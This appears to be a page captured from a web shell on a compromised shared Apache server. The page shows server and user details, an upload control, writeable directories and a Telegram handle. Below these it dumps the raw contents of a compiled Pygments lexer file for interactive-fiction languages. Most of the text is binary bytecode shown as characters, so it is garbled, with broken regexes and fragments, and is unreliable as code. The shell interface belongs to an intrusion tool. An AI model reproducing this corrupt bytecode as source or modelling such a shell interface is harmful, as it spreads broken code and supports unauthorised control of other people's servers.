https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/int_fiction.cpython-310.pyc
o

���aF��@s�dZddlZddlmZmZmZmZmZmZm	Z	ddl
mZmZm
Z
mZmZmZmZmZmZmZgd�ZGdd�de�ZGdd	�d	e�ZGd
d�de�ZGdd
�d
e�ZdS)z�
    pygments.lexers.int_fiction
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Lexers for interactive fiction languages.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
RegexLexer�include�bygroups�using�this�default�words)
�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�Error�Generic)�Inform6Lexer�Inform6TemplateLexer�Inform7Lexer�
Tads3Lexerc@s�	eZdZdZdZddgZdgZejej	Bej
BZdZdZ
dZd	Zd
Ziddeefejd
fed
�g�ddefdeejfg�ded�dedfdedfdefed�g�ded�dedfdeefedfde
efde
edfg�ded�dedfd edfded!fd"eefd#e
efd$edfd%e
edfd&ejdfd'efd(ejd)fd*efed�g
�d+ded,fd-efd.e
edfd'ejfd/ed0fed�g�d1d ed2fd3edfed�g�d4d5edfed�g�d6d$edfed�g�d7d8ejdfed6�g�d9ed�d:eefe j!dfd;eefe"e j!e j#e j!�dfd<eefe"e j!e j#e j!�dfd=ee jd>fd=ee j$d?fd@e
e
fe%j&dfdAe%j'dfdBe%j(dfdCe%j)dfdDee"ee�dfdEee"eej*j+�dfdFedGfdHee"eej,�dfdIej-dJfe.dKdLdM�ej-dfdNej-dfe.dOdPdLdQ�ej-dfe.dRdPdLdQ�ej-dfeedfg�dSdTe j#fdUee jfdVe jfdWe j#fdXe j#fd=ee jdfg�dYdTe j#fdUee j$fdVe j$fdZe j#fd[eefe j#fd\eeefe j#fd]eefe j#fd=ee j$dfg�d^d_ee j$fd`e j$fdZe j#fd=ee j$dfg�daed�eej/dfed9�g�dbed�eej*j+dfed9�g�d)ed�eejdfed�g�idced�eej*dfed�g�dddee j0dfg�dfed�eej-dfg�d
ed�dIefd/edfdedgfe.dhdPdLdQ�edfdiedjfdkedlfdmednfdoedpfdqe"ee�fdredsfdtedufdvedwfdxedyfdzedufd{ed|fd}ed~fded�fd�ed�fd�ed�fd�ed�fd�ed�fd�ed�feej1d~fg�d�ed�eej,dfed�g�d�ed�d/edfd�efd�e j$d^feej*fg�ded�d/efd�edfd3efed�g�d�ed�d�ed�fed�g�d�ed�d�edfeej1dfg�d�ed�ded�fed�g�d�d.e
efd�ejdfedb�g�d�ed�d/ed2fd$efd�ejd�fd�ejfd3efed��g�d�ed�d�edfeej1fed9�g�dsed�d�ed�fd�ed�fed��g�d�ed�d/edfd�efd.e
ed9fd�ed�fed��g�d�ed�d�ed�fed�g�dwed�d/edfd$efd�edbfedb�g��id�ed�d=ee j$d�fed��g�d�ed�d=ee j$d�fed�g�d�dTe j#fed^�g�d�ed�e.d�dLdM�edfd�efd�e
edfg�d�ed��ed9�g�d�ed��ed�g�d�ed�d�efed�g�d�ed�e.d�dLdM�edfed�g�d�ed�d�edfd�efe.d�dLdM�edfd�efd�ed�fd�ed�fd�ed�fd�ed�fd�ed�fd�eed�fd�ejd)fd�ed�fd�ed
fdedfd�ed�fed˃g�d�ed�d�edfd�eejdfd�eefej,dfed�g�d�ed�dedfed�g�d�ed�d/ed�fed҃g�d�ed�d/edfd3efedӃg�d�ed�ded�fed�g�d�ed�d=ee j$d�feed�fg�d�d3efed؃g��Z2d�dڄZ3d�d܄Z4d�S)�rz^
    For `Inform 6 <http://inform-fiction.org/>`_ source code.

    .. versionadded:: 2.0
    zInform 6�inform6�i6z*.infz[a-zA-Z_]\w*u	\-‐-—u"“”u'‘’u
\n…

�rootz\A(!%%[^%s]*[%s])+�	directive�_whitespace�\s+�![^%s]*r�\[zmany-valuesz:|(?=;)�#pop�<)�
expression�_expressionr"z(?=sp\b)z(?=[%s%s$0-9#a-zA-Z_]))r�valuez\+\+|[%s]{1,2}(?!>)|~~?z(?=[()\[%s,?@{:;])r!�\(�\))r�
statements�localsz>(?=(\s+|(![^%s]*))*[>;])z\+\+|[%s]{2}(?!>)�,z6&&?|\|\|?|[=~><]?=|[%s]{1,2}>?|\.\.?[&#]?|::|[<>+*/%%]z*(has|hasnt|in|notin|ofclass|or|provides)\bzsp\bz\?~?�label?z[@{]�_assembly-expression)�#pushr"z[\[\]]z[%s]>�;�#pop:3�_for-expression�#pop:2�:�_keyword-expressionz(from|near|to)\b�_list-expression�_object-expressionzhas\br#z[%s][^@][%s]z([%s])(@\{[0-9a-fA-F]*\})([%s])z([%s])(@.{2})([%s])�[%s])r�dictionary-word)r�stringz)\$[+%s][0-9]*\.?[0-9]*([eE][+%s]?[0-9]+)?z\$[0-9a-fA-F]+z	\$\$[01]+z[0-9]+z
(##|#a\$)(%s)z
(#g\$)(%s)z#[nw]\$)r�obsolete-dictionary-wordz
(#r\$)(%s)�#)r�system-constant)�child�children�elder�eldest�glk�indirect�	metaclass�parent�random�sibling�younger�youngestz\b)�suffixz#(?i)(Class|Object|Routine|String)\b)2�Box__Routine�CA__Pr�CDefArt�	CInDefArt�Cl__Ms�Copy__Primitive�CP__Tab�DA__Pr�DB__Pr�DefArt�
Dynam__String�
EnglishNumber�	Glk__Wrap�IA__Pr�IB__Pr�InDefArt�Main__�Meta__class�OB__Move�
OB__Remove�OC__Cl�OP__Pr�Print__Addr�Print__PName�PrintShortName�RA__Pr�RA__Sc�RL__Pr�	R_Process�RT__ChG�RT__ChGt�	RT__ChLDB�	RT__ChLDW�RT__ChPR�RT__ChPrintA�RT__ChPrintC�RT__ChPrintO�RT__ChPrintS�RT__ChPS�RT__ChR�	RT__ChSTB�	RT__ChSTW�RT__ChT�RT__Err�RT__TrPS�RV__Pr�	Symb__Tab�Unsigned__Compare�WV__Pr�	Z__Regionz(?i))�prefixrF)2�call�copy�create�DEBUG�destroy�DICT_CHAR_SIZE�DICT_ENTRY_BYTES�DICT_IS_UNICODE�DICT_WORD_SIZE�false�FLOAT_INFINITY�	FLOAT_NAN�FLOAT_NINFINITY�GOBJFIELD_CHAIN�GOBJFIELD_CHILD�GOBJFIELD_NAME�GOBJFIELD_PARENT�GOBJFIELD_PROPTAB�GOBJFIELD_SIBLING�GOBJ_EXT_START�GOBJ_TOTAL_LENGTH�Grammar__Version�INDIV_PROP_START�INFIX�infix__watching�MODULE_MODE�name�nothing�NUM_ATTR_BYTES�print�print_to_array�recreate�	remaining�self�sender�STRICT_MODE�sw__var�
sys__glob0�
sys__glob1�
sys__glob2�sys_statusline_flag�TARGET_GLULX�TARGET_ZCODE�
temp__global2�
temp__global3�
temp__global4�temp_global�true�USE_MODULES�WORDSIZEr5z[~^]+z
[^~^\\@({%s]+z[({]z@\{[0-9a-fA-F]*\}z@.{2}r6z\\z(@(\\\s*[%s]\s*)*@((\\\s*[%s]\s*)*[0-9])*z@@(\\\s*[%s]\s*)*\{((\\\s*[%s]\s*)*[0-9a-fA-F])*(\\\s*[%s]\s*)*\}z!@(\\\s*[%s]\s*)*.(\\\s*[%s]\s*)*.�plain-stringz[^~^\\({\[\]%s]+z
[~^({\[\]]�	_constant�_global�	variable?r7z\S\w*r9)rr&r'�
routine-name?)�
abbreviate�endif�
dictionary�ifdef�iffalse�ifndef�ifnot�iftrue�ifv3�ifv5�release�serial�switches�system_file�versionz(?i)(array|global)\b)r�directive-keyword?r�z(?i)attribute\b)r�alias?r�z(?i)class\b)�object-body�
duplicates�
class-namez(?i)(constant|default)\b)rr!r�z(?i)(end\b)(.*)z(?i)(extend|verb)\b�grammarz(?i)fake_action\b)rr�z(?i)import\b�manifestz(?i)(include|link|origsource)\b)r�before-plain-string?z(?i)(lowstring|undef)\bz
(?i)message\b)r�
diagnosticz(?i)(nearby|object)\b)r��_object-headz(?i)property\b)rr�r��property-keyword*z
(?i)replace\b)rr�r�z(?i)statusline\b)rr�z
(?i)stub\b)rr�z(?i)trace\b)r�trace-keyword?r�z(?i)zcharacter\b)rr�r�r�r'z\*�"�\]r�zalias\b)rr�r�z#(?=[,;]|(class|has|private|with)\b)r�)rr!r"r�z(class|has|private|with)\br��class\bz
class-segmentz(has|private|with)\b)r3r"�=)rr)r�grammar-linez_directive-keywordr�z[/*]z(noun|scope)\bz=routinez(?i)global\br�)r�message-string)rr�r�r�)rr�r�z_directive-keyword!)$�additive�alias�buffer�class�creature�data�error�
fatalerror�first�has�held�initial�initstr�last�long�meta�multi�multiexcept�	multiheld�multiinside�noun�number�only�private�replace�reverse�scope�score�specialr6�table�terminating�time�topic�warning�withzstatic\bz[%s]{1,2}>|[+=]r�r�z(additive|long)\br�)�assemblyr��expressions�lines�linker�objects�off�on�symbols�tokens�verbsr&z[;{}])�box�break�continuer�give�	inversion�new_line�quit�read�remove�return�rfalse�rtrue�spacesr6�untilz(do|else)\bz(font|style)\b)r�miscellaneous-keyword?zfor\b)�for�(?z(if|switch|while))r!r"rz(jump|save|restore)\b)rr)zobjectloop\b)r1r�rzprint(_ret)?\b|(?=[%s])z
print-listz\.�@�opcodez#(?![agrnw]\$|#)zmove\b)rr1r"r
z:(bold|fixed|from|near|off|on|reverse|roman|to|underline)\bzX(a|A|an|address|char|name|number|object|property|string|the|The)\b(?=(\s+|(![^%s]*))*\))z%s(?=(\s+|(![^%s]*))*\))rr)r.r")r2r"r2�formr)rr
)�operandsr�r)r*r"ccs��g}d}d}t�||�D]^\}}}|tjur$|dkr$|||gg}d}n=|dkr=|tvr4|tvr4|d8}|�|||f�n$|dkr[|dddkrOt|dd<|rY|�d�V|sQd}|||fV|tvrk|tvrk|}q
|rx|�d�V|sndSdS)N����in�r��))	r�get_tokens_unprocessedr
�Variabler
r	�appendr�pop)r��text�objectloop_queue�objectloop_token_count�previous_token�index�tokenr#�r#�=/usr/lib/python3/dist-packages/pygments/lexers/int_fiction.pyr�s8�����z#Inform6Lexer.get_tokens_unprocessedcCs d}t�d|tj�r|d7}|S)z�We try to find a keyword which seem relatively common, unfortunately
        there is a decent overlap with Smalltalk keywords otherwise here..rzorigsourceg�������?)�re�search�
IGNORECASE�r�resultr#r#r$�analyse_textszInform6Lexer.analyse_textN)5�__name__�
__module__�__qualname__�__doc__r��aliases�	filenamesr%�	MULTILINE�DOTALL�UNICODE�flags�_name�_dash�_dquote�_squote�_newliner
�Preprocrr	�Singlerrr�Wordr
�Labelrr�Pseudo�Declarationr�Charr�Escape�Doubler�Float�Hex�Bin�Integerr�Global�Function�Builtinr�Constant�Other�Classr�rr*r#r#r#r$rs������
���
��

��
��,��4��9��=��A
��G
�
�
�


�
��

��
�
����������
�������#
���(���-
���2
���8
���;
���A������������
���j
���o
���w������
��������

����
��������%����+����3����9����A����F����K����Q������]����a����e����j������t�����
������������������� �����%�����+�����2�����7�����=rc@s>eZdZdZdZddgZddgZejej	Bej
BZej
Z
ejZejZdeZiZgd�ZeD�]iZid	eejd
��ddejejd
fg�d
defdejdfdeejdfed�g�ddeejfdeejdfg�ddejdfdeefejfdeejdfdeeefedfdeedfdeejfg�ddeefefdeejdfd ed!fd"ed#fdejdfd$e
e
feee e!d%d&d'�e�fd(eeefed)fd*eefg�d!d+efdejdfd$e
e
feee e!d,d-d'�e�dfed�g�d#d+efdejdfd$e
e
feee e!d%d.d'�e�dfed�g�dd/ejfdejd0fd1ejdfg�dd2eejfd3ej"fdeejdfg�d)defdejdfd4e
ed5fd6e
efd7eejdfed�g�d5d+efdejdfd8ed9fed�g�d9d+efdejdfd:e
ed;fed<�g�d;d=eefejfd>eefej#fd?eefe e!dd@�fdAeefefdejdfg�d&dBeefejfdCee
efejfdDeefejdEfg�d.e$d&�dFeeee�fg�d-dGeee e!dd@�e�fg�dHe
eeej%e�fdIe
eee&eee�dJfdKe
eee&eee�fdLeee e!dd@�e�fgdMejfdBeefejdfdNee
fejfdDeefejfdOejfgdBeefejfdPee
efejfdDeefejdEfdQeefe&fdReej%fdSe
eee&e�dfdTeefgdU��ee<ejD]+Z'e'd
k�ru�qleeje'�eee'<e'�(dV��s�e$dW�e$e�geee'dXdY�<�qlq.dZd[�Z)dXS)\rzW
    For `Inform 7 <http://inform7.com/>`_ source code.

    .. versionadded:: 2.0
    zInform 7�inform7�i7z*.niz*.i7xz\A|(?<=[%s]))�+i6t-not-inline�+i6t-inline�+i6t-use-option�+i6-rootr�	+i6t-rootz[^%s]*)r�+pz(\|?\s)+rz+commentr4)�+main�+titling�+titling-string)rU�	+heading?rWz[^%s]+rrVz[^%s.;:|%s]+z[%s]{2}|(?<=[\s%s])\|[\s%s])rrXz[.;:]|(?<=[\s%s])\|z[|%s]rUz(?i)[^%s:a\[(|%s]+z+textr0z+phrase-definitionz
(?i)\bas\bz+use-optionz(\([%s])(.*?)([%s]\)))rRrrO)�state�i6tz (%s|(?<=[\s;:.%s]))\|\s|[%s]{2,}rXz(?i)[a(|%s]r)rRrrr&rPrQz[^\[\]]+r+r�z[^\[%s]+z\[.*?\]z
[%s]{4}\s+z+documentation-headingz	[%s]{1,3}z.(?i)(volume|book|part|chapter|section)\b[^%s]*z(?i)documentation\s+z+documentation-heading2z	[%s]{4}\sz+documentationr/z&(?i)(%s)\s*(chapter|example)\s*:[^%s]*z(?i)(%s)\s*section\s*:[^%s]*z((%s)\t.*?[%s])+�rYz[^%s\[]+|[%s\[]z(%s)@c( .*?)?([%s]|\Z)z(%s)@([%s]+|Purpose:)[^%s]*z(%s)@p( .*?)?([%s]|\Z)rTz(\{)(N)(\})z(\{)(\S[^}]*)?(\})z(\{[%s])(![^}]*)(\}?)z(\{[%s])(lines)(:)([^}]*)(\}?)�+linesz (\{[%s])([^:}]*)(:?)([^}]*)(\}?)z(\(\+)(.*?)(\+\)|\Z)z[^@]+z(%s)@([%s]|Purpose:)rz(%s)@([%s]|Purpose:)[^%s]*z
(%s)@\w*[ %s]rz(\{)([%s]endlines)(\})z[^@!{]+?([%s]|\Z)|.)�+i6trTr\�_r]NrcKsH|�dd�}||jvr|j�|�|_n|j||_tj|fi|��dS)NrZrO)�get�_all_tokens�	__class__�process_tokendef�_tokensr�__init__)r��options�levelr#r#r$rd�s

zInform7Lexer.__init__)*r+r,r-r.r�r/r0r%r1r2r3r4rr6r7r9�_startr��token_variantsrf�listr
r:r	�	Multiliner�HeadingrrrBrrrr�Interpol�
Subheadingrr;rr"�
startswithrdr#r#r#r$rs�
����

���
��
���

�����
��(

�����2

�����;

��@��E

���N
��T
��Z��
�

�
��d
��
���l��p����v�
��
�����
�
��

��
��
���
!
 ��rc@s*eZdZdZdZdgZdgZd	dd�ZdS)
rz�
    For `Inform 6 template
    <http://inform7.com/sources/src/i6template/Woven/index.html>`_ code.

    .. versionadded:: 2.0
    zInform 6 templaterZz*.i6t�rScCst�|||�S)N)rr)r�r�stackr#r#r$r�sz+Inform6TemplateLexer.get_tokens_unprocessedN)ro)r+r,r-r.r�r/r0rr#r#r#r$r�src@s�eZdZdZdZdgZdgZejej	BZ
dZdZdZ
dZd	Zd
ZdeefZdeefZd
e
fdd�Ze
fdd�Ze
fdd�Ziddefdedfdefdedfdeefeejeedd�e�dfed�defd efd!ed"fg	�d"ed#�ed$�g�d%d&ed'fded(fed�g�dd&efded)fd*ed'fd+ed,fd-eefeejeedd�e�d.fd/eefeejeedd�e�dfd0eefeej eedd�e�d1fed�d2eed3fed4�g
�d4ed#�d5eefeej eedd�e�d6fed7�g�d8ded9fed�d:ed;fed<�g�d=ded9fed�ed'�g�d>d?efded)fd*ed'fd@e!j"fd0eefeej#eedd�e�fed�g�ded>�d!edAfg�dBdCe$j%d'fed>�d!edDfg�d#ged��dEed6f�dFedGf�dedHf�dIed'f�dJe&j'd'f�dKe&j(d'f�dLe&j)d'f�dMe&j*d'f�dNe$j+dOf�dPe$j,dQf�dRe$j+dSf�dTe$j,dUf�dVe$j-dWf�dXe$j-dYf�dZe$j-d[f�d\e$j-d]f�d^eee!j"eedd�e!j"�f�d_eee!j"eedd�e�d`f�daeee!j"eedd�e!j"�dbf�dceee!j"eedd��f�ddeee!j"eedd�e!j"�def�dfeee!eedd�e!j"�dgf�dhej.d'f�die!j"djf�dke!j"f�dle!j"dmf�dne!j"dof�dpe!j"d'f�dqe!j"drf�dse!j"dtf�due!j"dvf�dwe!j"dxf�dye!j"dzf�d{e!j"d|f�d}e!j"d~f�de!j"d�f�d�e!j"d'f�d�e!j"d�f�d�e!j/d'f�d�e!j"d<f�d�e!j"d�f�d�e!j"d�f�d�ej.j0d'f�d�e!j"def�d�eee1j2eedd�e1�d�f�d�e1j2f�d�ej.d'f��d3ed#�eed'fed'�g�d�dEed�fdFedAfd�efd�ed3fd�ed'fed�ee1d3fd�e1d�fd�eee1j2eedd�e1j2�fd�efg
�d�ed��ed'�g�d�d�e1d'fed��g�d�dCe$j%d7fed��g�d�dEedxfde!j"d�fed3�g�id�d*ed'fd�ed�fd�e!d�fed��g�d�eej d'fed�g�d�d�ed�fed��g�d�d�ed3fed��g�d�d�eefeej eedd��d'fd�eeefeej3eedd�ej �d'fd�efed#�eej d'fed'�g�d�d�eeeeedd��fd�efd�ed�fd�ed�fd�ed�fed��g�d�d�ed'fed��g�d�d�e!d'fed�ed'�g�d�d�ed�fd�e1d'fed��g�d�d�e!d'fed�g�d�d�efeej4d�fed�g�d�ed�d�e!drfedr�g�d�d�efdEed�fd+ed�feej3fed�g�d�ed�d�e$j5d'fg�d�edÃed�d�eeeeedd�e!�d3fd�eefeej/fed7�g�d+d+ed'fg�d�d�e$j%fd�eefed'feejd'fed�g��id�d�ed�fed�eej3d'fed'�g�d�d�e1j2d'fed�ee1fed'�g�d�dEed�fded(fed�g�d�d�ed'fedÃd}e!j"fed�d�eefeej fg�d�dIed'fd�e!j"d'fd�e!j"feej3d'fed�ed'�g�d�d�ed�fed�d�ed'fed'�g�d�d�efd&ed'fd�e!j"feej/fed�g�d�eej#d'fed�ed'�g�d�d�efd�ed'fed�eej fg�dd�eefe6j7fee6j,fee6j8fd�eefg�d�dNe$j+d�fdPe$j,d�fdRe$j+d�fdTe$j,d�fg�d�d�e
e$j9fg�d�d�e$j%fd�e
e
fe$j%d�fg�d�d�ej:fg�d�ed�d��d�ed�d��d�ed�d���id�ed�d��d�ed�d�d��d�ed�d�d��d�ed�d�d��d�ed�d�d��d�ed�d�d��d�ed�d�d��d�ed�d�d��d�ed�d�d��d�ed�d��d�ed�d��d�ed�d��d�ed�d��d�edRd�d��d�edRd�d��d�edRd�d��d�edRd�d���edTd�d�edTd�d�edTd�d�edTd�d�eed�d�eed�d�eed�d�eed�d�d�e$j-f�de$j-f�de$j-d'fdRe$j-fg�de$j-f�de$j-f�de$j-d'fdTe$j-fgd�e$j-f�de$j-fdRe$j-d'fg�de$j-f�de$j-fdTe$j-d'fg�d��Z;�d�d	�Z<�d
�d�Z=d
S(rz;
    For `TADS 3 <http://www.tads.org/>`_ source code.
    zTADS 3�tads3z*.tz(?://(?:[^\\\n]|\\+[\w\W])*$)z(?:/\*(?:[^*]|\*(?!/))*\*/)zM(?:\\(?:[\n\\<>"\'^v bnrt]|u[\da-fA-F]{,4}|x[\da-fA-F]{,2}|[0-3]?[0-7]{1,2}))z(?:[_a-zA-Z]\w*)z(?=\s|\\?>)zD(?:&&|\|\||\+\+|--|\?\?|::|[.,@\[\]~]|(?:[=+\-*/%!&|^]|<<?|>>?>?)=?)z(?:\\|\s|%s|%s)z(?:\\\n|[^\S\n]|%s|%s)Nc
	Csz|rd�dd�|D��}|rdnd}|rtjntj}|r"d||fnd}d|r)dnd|r.d	nd
f}d|}g}	|rN|	d||d
fd|tjf||fg7}	n|	�||d
f�|	td�d||fg7}	|rw|	�d||ftjd
d||ff�n0|	d||||ft	j
fdtjd
d||ffdtjd
d||ffd||||ftj|ftd�g7}	|	td�d||||ftjfd|fg7}	|	S)N�cSs,g|]}dt�|���t�|���f�qS)z	(?:%s|%s))r%�escape�lower�upper)�.0�cr#r#r$�
<listcomp>s
�
�z1Tads3Lexer._make_string_state.<locals>.<listcomp>r��'�
+|%s(?!%s{2})�%s%s�t�d�sz%sqtz%s{3,}rz\\%s+�
s/verbatimz[^\\<&{}%s]+z!\\?<(/|\\\\|(?!%s)\\)%s(?=[\s=>])z%sqsz(\\?<!([^><\\%s]|<(?!<)|\\%s%s|%s|\\.)*>?z(?i)\\?<listing(?=[\s=>]|\\>)z%sqs/listingz(?i)\\?<xmp(?=[\s=>]|\\>)z%sqs/xmpz(\\?<([^\s=><\\%s]|<(?!<)|\\%s%s|%s|\\.)*�s/entity�s/escape�%\{([^}<\\%s]|<(?!<)|\\%s%s|%s|\\.)*\}z[\\&{}<])�joinrrBr;rArrr
�Tagr
rjrl)
�triple�double�verbatim�_escape�charr"�escaped_quotesry�tag_state_namerYr#r#r$�_make_string_statesr
��
���
����
���
���zTads3Lexer._make_string_statec
Cs�|rdnd}|r
dnd}d|rdnd|rdndf}|rtjntj}|r*d	||fnd}d
||f|dfdtfd
tttj�d|fdtttj�d|fdtd|fdtjdfd||||ftjfd||||ftj	ft
d�t
d�t
d�dtj	fgS)Nr�ry�{3,}rrz%s%sqtr|r}r~rzr{r/z
(\s|\\\n)+z	(=)(\\?")zdqs/%sz	(=)(\\?')zsqs/%sr�zuqs/%sz\\?>rr�z$([^\s=><\\%s]|<(?!<)|\\%s%s|%s|\\.)+r�rr�z[\\{}&])rrBr;r	rrr
r�rl�	Attributer)r�r�r�r��
quantifier�
state_namer"r�r#r#r$�_make_tag_state3s<��

��
���zTads3Lexer._make_tag_statec		Cs�|dkrtjn	|dkrtjntj}|rdnd}|rdnd}|r"tjntj}|r-d||fnd}d||f|dfd|tjur?dnd|f|d	ftd
�td�d||||ftjfd
|tjur^dnd|ftd�d|fgS)Nr�ryr�rrrzr{r-z\\?rrr�r�z([^\s"\'<%s{}\\&])+�>r�z
["\'\s&{<}\\])rrBr;rKrrl)	�
terminator�host_triple�host_doubler�r"�	host_char�host_quantifier�
host_tokenr�r#r#r$�_make_attribute_value_stateLs6����
����z&Tads3Lexer._make_attribute_value_stateruz\{r�z;+z�(?=(argcount|break|case|catch|continue|default|definingobj|delegated|do|else|for|foreach|finally|goto|if|inherited|invokee|local|nil|new|operator|replaced|return|self|switch|targetobj|targetprop|throw|true|try|while)\b)�blockz
(%s)(%s*)(\()�
whitespacer[)�block?/root�more/parameters�main/parametersz\++z[^\s!"%-(*->@-_a-z{-~]+z(?!\Z)z	main/rootz
main/basic)r�object-body/no-braces�classesr�r�r,r)rr�r+z\}r0)r�r�z(%s?)(%s*)(\())�block?r�r�z
(%s)(%s*)(\{)z(%s)(%s*)(:))r�r�r�z->|%s�mainzmain/object-bodyz
(%s)(%s*)(=?))r�morer�r/r�)rr�z(?=[\[\'"<(:]))rr�r��
grammar-rules)rr�r�zblock/basicz[;:]+z	default\b)r�r��block/embedz>>)�
more/embedr�r$r)r�	more/listr�)r�
more/inner�
main/innerr�r�z\*|\.{3}z(?i)0x[\da-f]+z5(\d+\.(?!\.)\d*|\.\d+)([eE][-+]?\d+)?|\d+[eE][-+]?\d+z0[0-7]+z\d+z""")r�tdqsz''')r�tsqsr�)r�dqsry)r�sqszR""")r�tdqrzR''')r�tsqrzR")r�dqrzR')r�sqrz(extern)(%s+)(object\b)z(function|method)(%s*)(\())rr�r�r�z(modify)(%s+)(grammar\b))rr�r0r�z#(new)(%s+(?=(?:function|method)\b))z(object)(%s+)(template\b))r�templatez(string)(%s+)(template\b))r�
function-namez>(argcount|definingobj|invokee|replaced|targetobj|targetprop)\bz(break|continue|goto)\b)r�labelz0(case|extern|if|intrinsic|return|static|while)\bzcatch\b)r�catchr�)rr�r�z(default|do|else|finally|try)\bz(dictionary|property)\b)r�	constantszenum\b)r�enumzexport\b)rr�z(for|foreach)\b)rr�r�z(function|method)\b)rr�r�z	grammar\b)rr�r�zinherited\b)r�	inheritedzlocal\b)r�
more/local�
main/localz)(modify|replace|switch|throw|transient)\bznew\b)rr�z(nil|true)\bzobject\bz
operator\b)r�operatorz
propertyset\b)r�propertysetr�zself\bz
template\bz(__objref|defined)(%s*)(\())r�
more/__objrefr�zdelegated\ba*(__DATE__|__DEBUG|__LINE__|__FILE__|__TADS_MACRO_FORMAT_VERSION|__TADS_SYS_\w*|__TADS_SYSTEM_NAME|__TADS_VERSION_MAJOR|__TADS_VERSION_MINOR|__TADS3|__TIME__|construct|finalize|grammarInfo|grammarTag|lexicalParent|miscVocab|sourceTextGroup|sourceTextGroupName|sourceTextGroupOrder|sourceTextOrder)\bz
more/basic)r�r�z\.{3}z->|\.\.z(?=;)|[:)\]]z\?)r��more/conditionalr�z(is|not)(%s+)(in\b)z[^\s!"%-_a-z{-~]+r�r�z:(?!:)r�r�)rr�r�r(z(in|step)\br�r�r�z[,:]r�z(%s)(%s*)(?=:)z
(%s)(%s+)(%s)z\[+r�z(:)(%s*(?=[?=,:)]))z[?\]]+z[:)])r�multimethod?r�)�more/parameterr�r�z(?=[,)])r�z
multimethod\br��moder%z(error|warn)\br�z\(+)r�	variablesr�ztoken\br�z\)+zgrammar-tagr�a!"""([^\\"<]|""?(?!")|\\"+|\\.|<(?!<))+("{3,}|<<)|R"""([^\\"]|""?(?!")|\\"+|\\.)+"{3,}|'''([^\\'<]|''?(?!')|\\'+|\\.|<(?!<))+('{3,}|<<)|R'''([^\\']|''?(?!')|\\'+|\\.)+'{3,}|"([^\\"<]|\\.|<(?!<))+("|<<)|R"([^\\"]|\\.)+"|'([^\\'<]|\\.|<(?!<))+('|<<)|R'([^\\']|\\.)+'|([^)\s\\/]|/(?![/*]))+|\)r6z(\[)(%s*)(badness)z
->|%s|[()]r�z(<<([^>]|>>>|>(?!>))*>>)+z(?=%s?%s*[({])r�r )rr�r�r�znegate\br�)r�r�r�z(?=;)z->|\?|%sr�ztransient\br�z[:,]r�r�z,+z
property\br�r�z^%s*#(%s|[^\n]|(?<=\\)\n)*\n?z\\+\n+%s*#?|\n+|([^\S\n]|\\)+r�r�r�r�r�z\{\{|\}\}|%srz�<<\s*(as\s+decreasingly\s+likely\s+outcomes|cycling|else|end|first\s+time|one\s+of|only|or|otherwise|(sticky|(then\s+)?(purely\s+)?at)\s+random|stopping|(then\s+)?(half\s+)?shuffled|\|\|)\s*>>z_<<(%%(_(%s|\\?.)|[\-+ ,#]|\[\d*\]?)*\d*\.?\d*(%s|\\?.)|\s*((else|otherwise)\s+)?(if|unless)\b)?)r�r�r�r�z'(?i)&(#(x[\da-f]+|\d+)|[a-z][\da-z]*);?TFztdqs/listing�listingztsqs/listingzdqs/listingzsqs/listingztdqs/xmp�xmpztsqs/xmpzdqs/xmpzsqs/xmp�tdqt�tsqt�dqt�sqtzdqs/tdqtzdqs/tsqtzdqs/dqtzdqs/sqtz[^\\"]+z\\"*z"{3,}z[^\\']+z\\'*z'{3,}z\\"?z\\'?)zsqs/tdqtzsqs/tsqtzsqs/dqtzsqs/sqtzuqs/tdqtzuqs/tsqtzuqs/dqtzuqs/sqtr�r�r�r�cks��d|j|jf}d}tj||fi|��D]T\}}}|dkr3|tjur2t�d||j|jf|�r2d}n0|tjura|dkrGt�d||�rGd}nt�d||�rT|d7}nt�d||�r`|d8}nt}|||fVqdS)Nz^%s*#%s*rz%sif%s+(0|nil)%s*$\n?rz
%sel(if|se)\bz%sifz	%sendif\b)�_ws_pprrr
r:r%�match)r�r�kwargs�pp�if_false_levelr!r"r#r#r#r$r4s8��
����
�
��z!Tads3Lexer.get_tokens_unprocessedcCs8d}d|vs
d|vr|d7}d|vrd|vr|d7}|S)z�This is a rather generic descriptive language without strong
        identifiers. It looks like a 'GameMainDef' has to be present,
        and/or a 'versionInfo' with an 'IFID' field.r�__TADS�GameMainDefg�������?�versionInfo�IFIDg�������?r#r(r#r#r$r*KszTads3Lexer.analyse_text)>r+r,r-r.r�r/r0r%r2r1r4�_comment_single�_comment_multiliner�r5�	_no_quote�	_operator�_wsr�r�r�r�r	rrr
rHrrrrrrr�Reservedr=rrlrrDrC�OctrFrBr;�RegexrIrJr>rr<rL�	ExceptionrKr
r:rjrA�Entityr�rr*r#r#r#r$r�s�2
��
��������
��
��
����/
����6���>��C
����M��Q
��V�����
���

�
�
�

�
�
�
�
�
�
���������� ��"���%���)��
+�,��
.�/��
1�2��
4�
5�6��8��:��
<�=��?��
A�
B�
C�
D�E��G�
H�J���M�O���-���2�����@���E���J
���O
���T���[
���_���d���i
���
���t����}�������	��������
������������#�����-�
����7����:
����@
����F
����L����Q
����[

����c����i����p
����u����}
�
����



�����
������������������
����
����
����
���� ����!����"����#����$����%����&����'����
*����
+����
,����
-����.����/����0����1����
2







�

�

�


����
�Tr)r.r%�pygments.lexerrrrrrrr�pygments.tokenr	r
rrr
rrrrr�__all__rrrrr#r#r#r$�<module>s
$0}L

https://t.me/RX1948 - 2025